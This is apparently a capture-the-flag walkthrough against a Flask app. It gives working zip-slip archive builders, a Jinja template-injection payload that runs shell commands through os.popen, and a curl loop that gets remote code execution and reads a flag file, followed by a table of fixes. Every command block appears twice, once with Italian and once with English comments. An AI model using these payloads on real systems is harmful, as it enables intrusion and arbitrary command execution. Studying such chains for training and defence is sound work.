// TL;DR
  • Credentials in a multi-line HTML comment at /login; login → session cookie.
  • Zip-slip: the upload extracts .zip entries without sanitizing ../ → arbitrary write outside the folder.
  • Allowlist bypass: the check inspects the files declared in the manifest, not those extracted.
  • From write to RCE: overwrite a Jinja template with an SSTI payload, then hammer /dashboard with the fresh-worker trick until the poisoned template is served.
// before you start

Swap <target> for the box IP and <PASSWORD> for the password you read in step [02]: the app answers on port 5000. Commands run on your machine unless the step says «on the target». You need: nmap, curl, python3.

[01] Recon

Two ports: SSH (22) and a Flask app served by gunicorn (5000). SSH is off the table, so 5000 is the only road; the root redirects to /login.

# scan
nmap -Pn -sV -p- <target>
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu
5000/tcp  open  http     Gunicorn
# la root manda al login
curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" http://<target>:5000/
302 http://<target>:5000/login
# scan
nmap -Pn -sV -p- <target>
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu
5000/tcp  open  http     Gunicorn
# the root sends you to login
curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" http://<target>:5000/
302 http://<target>:5000/login

[02] The credentials in the comment (and the cookie)

Web-CTF rule one: read the source. The credentials sit in a multi-line HTML comment (a <!--.*?--> regex without DOTALL misses it).

# scarica la pagina di login e leggi il commento
curl -s http://<target>:5000/login | sed -n '/<!--/,/-->/p'
user: concierge
pass: StayNoticed████   # mascherata: policy

# effettua il login salvando il cookie di sessione in cookie.txt
curl -s -c cookie.txt -X POST http://<target>:5000/login \
     -d "username=concierge&password=<PASSWORD>"
# la dashboard ora è raggiungibile con -b cookie.txt
# fetch the login page and read the comment
curl -s http://<target>:5000/login | sed -n '/<!--/,/-->/p'
user: concierge
pass: StayNoticed████   # masked: policy

# log in, saving the session cookie into cookie.txt
curl -s -c cookie.txt -X POST http://<target>:5000/login \
     -d "username=concierge&password=<PASSWORD>"
# the dashboard is now reachable with -b cookie.txt

The dashboard lets you upload a "shell": a .zip with a shell.json manifest listing assets. Everything starts here.

[03] Zip-slip: the write primitive

A .zip can contain entries whose name includes ../. If the extractor does a naive join(dest, entry.name) without normalizing, those ../ climb the tree and write outside the intended folder. First I upload a normal shell to see where it lands and read its id.

# 1) costruisci una shell benigna
python3 - <<'EOF'
import zipfile, json
z = zipfile.ZipFile("shell.zip","w")
z.writestr("shell.json", json.dumps({"name":"probe","assets":["bg.png"]}))
z.writestr("bg.png", b"\x89PNG\r\n\x1a\n")
z.close()
EOF

# 2) caricala e 3) leggi l'<id> assegnato dalla dashboard
curl -s -b cookie.txt -F "shell=@shell.zip" http://<target>:5000/upload -o /dev/null
ID=$(curl -s -b cookie.txt http://<target>:5000/dashboard | grep -oP 'shells/\K[0-9a-f]+' | tail -1)
echo "ID=$ID"
# 1) build a benign shell
python3 - <<'EOF'
import zipfile, json
z = zipfile.ZipFile("shell.zip","w")
z.writestr("shell.json", json.dumps({"name":"probe","assets":["bg.png"]}))
z.writestr("bg.png", b"\x89PNG\r\n\x1a\n")
z.close()
EOF

# 2) upload it and 3) read the <id> the dashboard assigns
curl -s -b cookie.txt -F "shell=@shell.zip" http://<target>:5000/upload -o /dev/null
ID=$(curl -s -b cookie.txt http://<target>:5000/dashboard | grep -oP 'shells/\K[0-9a-f]+' | tail -1)
echo "ID=$ID"

Assets are served at /shells/<id>/<file>: that's my read channel. Now I prove the slip by writing into that same folder with an entry that climbs two levels.

# entry ../../shells/$ID/p2.json -> deve riapparire servita
python3 - "$ID" <<'EOF'
import zipfile, json, sys
ID=sys.argv[1]
z=zipfile.ZipFile("slip.zip","w")
z.writestr("shell.json", json.dumps({"name":"slip","assets":["bg.png"]}))
z.writestr("bg.png", b"\x89PNG\r\n\x1a\n")
z.writestr(f"../../shells/{ID}/p2.json", '{"slipped":true}')
z.close()
EOF
curl -s -b cookie.txt -F "shell=@slip.zip" http://<target>:5000/upload -o /dev/null
curl -s -o /dev/null -w "%{http_code}\n" http://<target>:5000/shells/$ID/p2.json
200   # scrittura fuori cartella CONFERMATA
# entry ../../shells/$ID/p2.json -> must reappear served
python3 - "$ID" <<'EOF'
import zipfile, json, sys
ID=sys.argv[1]
z=zipfile.ZipFile("slip.zip","w")
z.writestr("shell.json", json.dumps({"name":"slip","assets":["bg.png"]}))
z.writestr("bg.png", b"\x89PNG\r\n\x1a\n")
z.writestr(f"../../shells/{ID}/p2.json", '{"slipped":true}')
z.close()
EOF
curl -s -b cookie.txt -F "shell=@slip.zip" http://<target>:5000/upload -o /dev/null
curl -s -o /dev/null -w "%{http_code}\n" http://<target>:5000/shells/$ID/p2.json
200   # write-outside CONFIRMED
// note — the read channel is limited

/shells/<id>/<file> goes through safe_join (no ../ in the URL) and archive symlinks land as text files. I can only read back what I write under shells/ — reading elsewhere needs execution.

[04] The allowlist looking the wrong way

The portal claims it only accepts png jpg gif svg css json. But the check iterates over the manifest's assets list — what the archive declares — not the files actually extracted. An undeclared file (an .html template) still lands on disk. Allowlist + zip-slip = write any file, anywhere. Note: the SSTI payload next needs NO <id>, because ../../ from the shell dir lands in the app base.

[05] From "I write a file" to RCE: template poisoning + fresh-worker

Arbitrary write isn't execution yet. Several obvious attempts don't pay off (direct SSTI on name: escaped; SSH key in homes: no write; cron: not root). The right vector is the app: overwrite a Jinja template, which Flask evaluates server-side. I write the payload in place of login.html AND dashboard.html.

# costruisci uno zip che sovrascrive i template con un payload SSTI
python3 - <<'EOF'
import zipfile, json
P = 'ZQ7X={{ 7*7 }}<pre>{{ config.__class__.__init__.__globals__["os"].popen(request.args.get("c","id")).read() }}</pre>'
z = zipfile.ZipFile("rce.zip","w")
z.writestr("shell.json", json.dumps({"name":"rce","assets":["bg.png"]}))
z.writestr("bg.png", b"\x89PNG\r\n\x1a\n")
for t in ("login.html","dashboard.html"):
    z.writestr(f"../../templates/{t}", P)   # zip-slip nella dir dei template
z.close()
EOF
curl -s -b cookie.txt -F "shell=@rce.zip" http://<target>:5000/upload -o /dev/null
# build a zip that overwrites the templates with an SSTI payload
python3 - <<'EOF'
import zipfile, json
P = 'ZQ7X={{ 7*7 }}<pre>{{ config.__class__.__init__.__globals__["os"].popen(request.args.get("c","id")).read() }}</pre>'
z = zipfile.ZipFile("rce.zip","w")
z.writestr("shell.json", json.dumps({"name":"rce","assets":["bg.png"]}))
z.writestr("bg.png", b"\x89PNG\r\n\x1a\n")
for t in ("login.html","dashboard.html"):
    z.writestr(f"../../templates/{t}", P)   # zip-slip into the templates dir
z.close()
EOF
curl -s -b cookie.txt -F "shell=@rce.zip" http://<target>:5000/upload -o /dev/null
// the obstacle: the template cache

Gunicorn has several workers and no auto-reload; Jinja caches each template on that worker's first render. login.html is already cached everywhere, so the poisoned file is ignored.

// the fix: fresh-worker

dashboard.html is served far less: hammering /dashboard, sooner or later you hit a worker loading it for the first time — poisoned. The ZQ7X marker tells you when. The loop below iterates until it finds it, then reads the command output.

# martella /dashboard finché risponde il worker avvelenato (marker ZQ7X)
for i in $(seq 1 80); do
  out=$(curl -s -b cookie.txt "http://<target>:5000/dashboard?c=id")
  echo "$out" | grep -q ZQ7X && { echo "$out" | tr -d '\n' | grep -oP '(?<=<pre>).*?(?=</pre>)'; break; }
done
uid=996(roomservice) gid=996(roomservice)   # RCE come roomservice
# hammer /dashboard until the poisoned worker answers (marker ZQ7X)
for i in $(seq 1 80); do
  out=$(curl -s -b cookie.txt "http://<target>:5000/dashboard?c=id")
  echo "$out" | grep -q ZQ7X && { echo "$out" | tr -d '\n' | grep -oP '(?<=<pre>).*?(?=</pre>)'; break; }
done
uid=996(roomservice) gid=996(roomservice)   # RCE as roomservice

[06] The flag — and the hook red herring

Same loop, just change the command: I read the flag in roomservice's home. To be clear: the "automation hooks" the room promises do not exist in the running app (I tested ~900 key names, five manifest shapes, separate files and network callbacks: none run). A red herring, and spotting it is part of the challenge.

# stesso loop di [05], stavolta il comando legge la flag:
for i in $(seq 1 80); do
  out=$(curl -s -b cookie.txt "http://<target>:5000/dashboard?c=cat%20/home/roomservice/flag.txt")
  echo "$out" | grep -q ZQ7X && { echo "$out" | tr -d '\n' | grep -oP '(?<=<pre>).*?(?=</pre>)'; break; }
done
THM{████████████████████}   # in chiaro solo sul TUO target (qui: policy)
# same loop as [05], this time the command reads the flag:
for i in $(seq 1 80); do
  out=$(curl -s -b cookie.txt "http://<target>:5000/dashboard?c=cat%20/home/roomservice/flag.txt")
  echo "$out" | grep -q ZQ7X && { echo "$out" | tr -d '\n' | grep -oP '(?<=<pre>).*?(?=</pre>)'; break; }
done
THM{████████████████████}   # cleartext only on YOUR target (here: policy)
// flag — REDACTED
THM{████████████████████}

You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.

[07] Defense

WeaknessFix
Zip-slip on extractionNormalize and verify the resolved path stays inside dest (os.path.realpath + prefix check)
Allowlist over declared filesValidate the actually-extracted files, not the manifest; reject the whole archive on extras
Template injection via arbitrary writeTemplate dir not writable by the web process (owner root, 0555); Jinja SandboxedEnvironment; immutable deploy
// verdict

Three classic mistakes — trusting an archive's filenames, validating the wrong thing, and a template engine evaluating input — plus a narrative red herring. The name says it all: a "slip" in a zip that becomes a shell. In one line: never trust what an archive claims to be, nor where it says it wants to extract.